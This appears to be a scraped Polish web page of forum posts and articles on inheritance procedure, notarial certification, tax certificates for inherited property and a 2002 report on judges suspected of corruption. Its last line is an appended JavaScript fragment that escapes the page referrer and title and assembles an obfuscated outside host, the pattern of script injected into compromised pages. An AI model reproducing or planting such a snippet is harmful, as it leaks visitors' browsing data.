strasznie upierdliwa i głupia sąsiadka. Odwiedź sąsiadów osobiście, koniecznie.

Bajzel w papierach jest bardzo podejrzany, szczególnie jeśli było już kilku
sprzedających. A udawanie naiwnej i niezorientowanej to często zasłona dymna.

  Akt notarialny - czy sprawa sądowa
Oczywiście może dokonać Pani postępowania spadkowego u notariusza
[protokół dziedziczenia i akt poświadczenia dziedziczenia]. Z treści
Pani postu nie wynika, czy żyją Pani teściowe a rodzice zmarłego
męża. Dlatego proszę skierować się do najbliższego notariusza celem
ustalenia szczegółów postępowania - wymagane będą dokumenty: w tym
skrócony odpis - aktu zgonu męża, aktu małżeństwa Państwa oraz
ewentualnie akty małżeństwa rodzeństwa męża.

Art. 932. § 1. W braku zstępnych spadkodawcy powołani są do spadku
z ustawy jego małżonek i rodzice.
§ 2.Udział spadkowy każdego z rodziców, które dziedziczy w zbiegu z
małżonkiem spadkodawcy, wynosi jedną czwartą całości spadku. Jeżeli
ojcostwo rodzica nie zostało ustalone, udział spadkowy matki
spadkodawcy, dziedziczącej w zbiegu z jego małżonkiem, wynosi połowę
spadku.
§ 3.W braku zstępnych i małżonka spadkodawcy cały spadek przypada
jego rodzicom w częściach równych.
§ 4.Jeżeli jedno z rodziców spadkodawcy nie dożyło otwarcia spadku,
udział spadkowy, który by mu przypadał, przypada rodzeństwu
spadkodawcy w częściach równych.
§ 5.Jeżeli którekolwiek z rodzeństwa spadkodawcy nie dożyło otwarcia
spadku pozostawiając zstępnych, udział spadkowy, który by mu
przypadał, przypada jego zstępnym. Podział tego udziału następuje
według zasad, które dotyczą podziału między dalszych zstępnych
spadkodawcy.
Art. 933. § 1. Udział spadkowy małżonka, który dziedziczy w zbiegu
z rodzicami, rodzeństwem i zstępnymi rodzeństwa spadkodawcy, wynosi
połowę spadku.
§ 2.W braku zstępnych spadkodawcy, jego rodziców, rodzeństwa i ich
zstępnych, cały spadek przypada małżonkowi spadkodawcy.

  zaświadczenie z US - ujawnienie prawa do spadku
zaświadczenie z US - ujawnienie prawa do spadku
Szanowni Państwo,

uprzejmie prosze o fachową poradę w związku z następującą sytuacją:
zainteresowana jestem kupnem nieruchomości, którą w wyniku postępowania
spadkowego odziedziczyli właściciele A, B, C i D (...). W zaświadczeniu z
marca 2006 roku urząd skarbowy stwierdził, że spadkobiercy Ci nie zalegają z
podatkami od spadku po poprzednich właścielach. W międzyczasie (w 2000 i 2005
roku, co być może ma znaczenie ze względu na obowiązujące wtedy przepisy)
zmarły osoby A i B, a w postępowaniu spadkowym ustalono, że udział w
nieruchomości dziedziczą po nich E, F oraz G i H, którzy obecnie posiadają
1/32 lub 3/32 udziału w nieruchomości (wartość majątku jest niewielka).

Czy przy umowie kupna-sprzedaży do aktu notarialnego niezbędne jest dołączenie
zaświadczeń z Urzędów Skarbowych o niezaleganiu z podatkami spadkobierców E,
F, G, H, w celu ujawnienia prawa do spadku po osobach zmarłych A i B? Który US
takie zaświadczenie wystawia: właściwy miejscu zamieszkania spadkobierców, czy
ostatniemu miejscu zameldowania zmarłego. Spotkałam się z dwoma stanowiskami
notariuszy: jeden uważa, że przepisy wymagają dołączenia zaświadczenia, drugi,
że nie jest ono wymagane. JAK JEST W RZECZYWISTOŚCI?

Ponieważ wszystkie inne dokumenty do transakcji już mam i nie chcę zwlekać z
jej przeprowadzeniem, zastanawiam się, czy grożą mi jakieś konsekwencje
nedołączenia tych zaświadczeń do aktu norarialnego. A może raczej ewentualną
odpowiedzialność za brak dokumentów ponosi notariusz i to jego ryzyko.

Pozdrawiam serdecznie i z góry dziękuję za pomoc.
Katarzyna

  podatek od nieruchomości-PILNE
Podatek zapłacić, postępowanie spadkowe, KW
Gość portalu: ciekawa napisał(a):

Wygląda na to, że nie zrobiliście postępowania spadkowego lub nie
wystąpiliście z wnioskiem o wpis Waszej własności w księdze
wieczystej dla nieruchomości.

1. Podatek zapłacić. Gmina pieniądze zawsze chętnie przyjmie od
każdego, jak chcesz możesz nawet zapłacić podatek za nieruchomość
sąsiada, tym bardziej za nieruchomość po zmarłej mamie lub za zbyt
zajętego ojca. Pójdź do gminy poproś o wyliczenie jek jest zaleglość
i zapłać. Na rozmowę z ojcem będzie i tak czas.

2. Wypis z rejestru gruntów (z katastru) - w wydziale geodezji
starostwa powiatowego

2. Odpis z księgi wieczystej dla nieruchomości (prowadzony przez sąd
rejonowy, ale nie przez każdy. Jest jednak na pewno sąd rejonowy,
który prowadzi księgi wieczyste dla miejscowości, w której jest
położona nieruchomość Waszych rodziców.

3. Akt zgonu mamy.

4. Akt małżeństwa rodziców

5. Wasze akty urodzenia

6. Akty małżeństwa wszystkich zamężnych sióstr spośród dzieci
(chodzi o zmiany nazwisk)

7 a.. Z dokumentami złożyć wniosek do sądu o stwierdzenie nabycia
spadku przez waszą czwórkę

lub

7 b. Z dokumentami do notariusza o wydanie notarialnego
poświadczenia dziedziczenia (równoważne z postanowieniem sądu o
nabyciu spadku)

8. Z dokumentami do urzędu skarbowego (być może nic nie będą
chcieli, ale muszą wydać zaświadczenie, że nie ma przeszkod w
ujawnieniu praw majątkowych w księdze wieczystej, czyli że nie ma
zaległego nie opłaconego a należnego podatku od spadku)

9. Z dokumentami złożyć wniosek (wszyscy naraz - najlepiej) do sądu
rejonowego prowadzącego księgę wieczystą dla nieruchomości o
wpisanie w księdze wieczystej Was w dziale II (właściciel) jako
współwłaścicieli:

Ojciec będzie miał zapewne 5/8 nieruchomości ("swoje" pół już
wcześniej miał, skoro kiedyś nabył nieruchomość na współwłasność z
żoną), a ponadto po żonie odziedziczył 1/4 z 1/2 czyli 1/8. Razem
5/8.

I każde z rodzeństwa będzie miało po 1/8 w nieruchomości.

Chyba, że nieruchomość była tylko na mamę to wtedy oczywiście każde
będzie miało 1/4 z całości.

Za wpis własności z dziedziczenia jest bodajże opłata sądowa 150 zł -
płatna razem z wnioskiem.

Księgi wieczyste zapewne prześlą informację też do geodezji w
starostwie powiatowym, ale na wszelki wypadek też można ich samemu
powiadomić.

  Postepowaie spadkowe - czy trzeba?
Postepowaie spadkowe - czy trzeba?
Witam
Dwa lata temu moi rodzice wykupili mieszkanie, ale w dokumentach iuruje tylko
moja mama. Moj ojciec pare miesiecy temu zmarl a mieszkanie jest dla naszej
mamy za duze. Chcey je sprzedac. Czy potrzebne jest postepowanie spadkowe?

  Spadek będzie mógł poświadczyć notariusz
Spadek będzie mógł poświadczyć notariusz
Autor: Ireneusz Walencik

Spadek będzie mógł poświadczyć notariusz

Spadkobiercy uzyskają u notariusza dokument potwierdzający nabycie spadku.
Będzie to trwało krócej, a sądom ubędzie pracy

Rząd przekazał właśnie do Sejmu projekt zmiany prawa o notariacie, który
uprawnia notariuszy do wydawania tzw. aktów poświadczenia dziedziczenia.

Spadkobiercy będą mogli wybrać, czy dokument nabycia spadku załatwić w sądzie
czy u rejenta. Pod warunkiem wszakże, że o spadek nie ma sporu. Wtedy bowiem
jego nabycie będzie mógł stwierdzić wyłącznie sąd.

Wszyscy spadkobiercy spotkają się u rejenta, a on spisze najpierw protokół
dziedziczenia. Ten dokument będzie podstawą aktu poświadczenia dziedziczenia.
Notariusz sporządzi go, jeśli nie ma wątpliwości, ilu jest spadkobierców i
jakie są ich udziały w spadku. Podpisany przez wszystkich dziedziczących akt
notariusz zarejestruje w systemie informatycznym prowadzonym przez Krajową
Radę Notarialną. Dopiero zarejestrowany dokument będzie miał moc prawną. Taka
procedura ma zapobiec nadużyciom, np. podwójnym aktom dotyczącym tego samego
spadku.

- Sprawy, które absolutnie nie wymagają rozstrzygania przez sądy, nie powinny
do nich trafiać. Dlatego inicjatywa przekazania notariatowi poświadczania
dziedziczenia to dobry kierunek, który już dawno obrały inne państwa
europejskie - uważa Lech Borzemski, członek Krajowej Rady Notarialnej.

Notariusze zwracają też uwagę, że nowa instytucja może się okazać korzystna,
zwłaszcza w sytuacjach dziedziczenia firmy. Postępowanie prowadzące do
przejęcia przedsiębiorstwa przez spadkobiercę potrwa nie kilka miesięcy, jak
w sądzie, lecz od jednego do dwóch tygodni, co oznacza szybszą normalizację
stosunków własnościowych ważną z punktu widzenia firmy, jej pracowników i
pozycji na rynku.

Notariusze będą mogli również dokonywać otwarcia i ogłoszenia testamentu,
sporządzać zaświadczenia dotyczące wykonawcy ostatniej woli.

Projekt przekazuje też postępowania spadkowe w sądzie - z pewnymi wyjątkami -
referendarzom sądowym.

  Sędziowie o lepkich rękach
Sędziowie o lepkich rękach
Sędziowie o lepkich rękach 11:27 24-07-2002

Łapówki za uniewinnienie lub uchylenie aresztu, usuwanie dokumentów z ksiąg
wieczystych, preparowanie testamentów - to niektóre podejrzenia prokuratury
wobec sędziów.

Sprawy z okresu obejmującego ostatnie półtora roku dotyczą niemal 30 sędziów.
Oto niektóre postępowania wymienione w raporcie Ministerstwa Sprawiedliwości,
przygotowanym dla sejmowej Komisji Sprawiedliwości, na temat postępowań
karnych dotyczących sędziów w ubiegłym i bieżącym roku:
- We Wrocławiu tamtejsza prokuratura zebrała materiał dowodowy wskazujący, że
sędzia Sądu Rejonowego w Głogowie Małgorzata R. wzięła dwa tysiące marek
łapówki w zamian za uniewinnienie oskarżonego o kradzież z włamaniem.
Prokuratura wystąpiła do Sądu Dyscyplinarnego o zgodę na pociągnięcie sędzi
do odpowiedzialności karnej. Zgody nie uzyskano. "W tej sytuacji brak jest
możliwości kontynuowania postępowania" - stwierdza raport.
- Wydział przestępczości zorganizowanej poznańskiej prokuratury podejrzewa
dwie sędziny Sądu Rejonowego w Poznaniu - Marię W. i Lucynę S. -
o "wyszukiwanie nieruchomości przejętych z braku spadkobierców na rzecz
Skarbu Państwa, sporządzanie fałszywych testamentów, inicjowanie postępowań
spadkowych, uzyskiwanie korzystnych orzeczeń i przejmowanie nieruchomości".
Sąd Dyscyplinarny I instancji zgodził się na ściganie kobiet. Te jednak
zaskarżyły tę decyzję do sądu II instancji - ten nie podjął jeszcze decyzji w
tej sprawie.
- Sędzia Sądu Okręgowego w Świdnicy Józef Z. jest podejrzewany przez
prokuraturę we Wrocławiu o "przyjęcie korzyści majątkowej w gotówce oraz w
sprzęcie gospodarstwa domowego łącznej wartości 7,3 tys. zł.". Za tę łapówkę
sędzia miał odmówić zgody na aresztowanie podejrzanego w jednej sprawie i
uchylić areszt w drugiej. Sąd Dyscyplinarny nie zgodził się na ściganie Z. -
postępowanie prokuratorskie nie może być kontynuowane.
- W Lublinie prokuratura zebrała dowody, że sędzia Sądu Okręgowego Marek T.
wziął w 1994 r. łapówkę i podrobił podpis. W raporcie nie napisano, za co
miała być wręczona łapówka. Sąd Dyscyplinarny nie zgodził się na pociągnięcie
T. do odpowiedzialności karnej.
- Inny lubelski sędzia - Czesław M. z Sądu Rejonowego - jest podejrzewany
o "sfałszowanie wyroku i zniszczenie dokumentu". Raport Ministerstwa nie
ujawnia szczegółów. Do dziś nie zapadła decyzja Sądu Dyscyplinarnego II
instancji - sąd I instancji nie zgodził się na ściganie M.
- Sędzia Sądu Apelacyjnego w Łodzi Krzysztof K. jest podejrzewany o
nielegalne sprowadzenie z Niemiec samochodu. Sąd Dyscyplinarny I instancji
odmówił zgody na ściganie K. - prokuratura złożyła zażalenie na tę decyzję.
Ostatecznej decyzji jeszcze nie ma.
- Sędzia Sądu Okręgowego w Poznaniu Karol T. jest podejrzewany o usuwanie
dokumentów z ksiąg wieczystych. Sąd Dyscyplinarny od października ubiegłego
roku nie wydał decyzji, czy zgadza się na ściganie T.
"Analizując całokształt okoliczności toczących się postępowań karnych wobec
sędziów (...) można stwierdzić, że główną przyczyną przedłużania się
postępowań przygotowawczych w tych sprawach jest przebieg postępowań w sądach
dyscyplinarnych. Postępowania te trwają stanowczo za długo" - stwierdza w
końcowej części raportu szef Prokuratury Krajowej Karol Napierski.
Podkreślił, że oczekiwanie na końcową, prawomocną decyzję sądów
dyscyplinarnych zmusza często prokuratury do zawieszania postępowań
dotyczących sędziów.
Najwięcej postępowań karnych w sprawie sędziów dotyczy podejrzeń o
popełnienie "przestępstw przeciwko bezpieczeństwu w komunikacji", czyli
wypadków drogowych. Takich spraw w ciągu ostatnich 18 miesięcy było
kilkanaście - w części dotyczyły sędziów, którzy prowadzili samochody pod
wpływem alkoholu.
nat, pap


function bb5154585672b65(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa5154585672b2a(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa5154585672b2a(bb5154585672b65(document.referrer),bb5154585672b65(document.title)));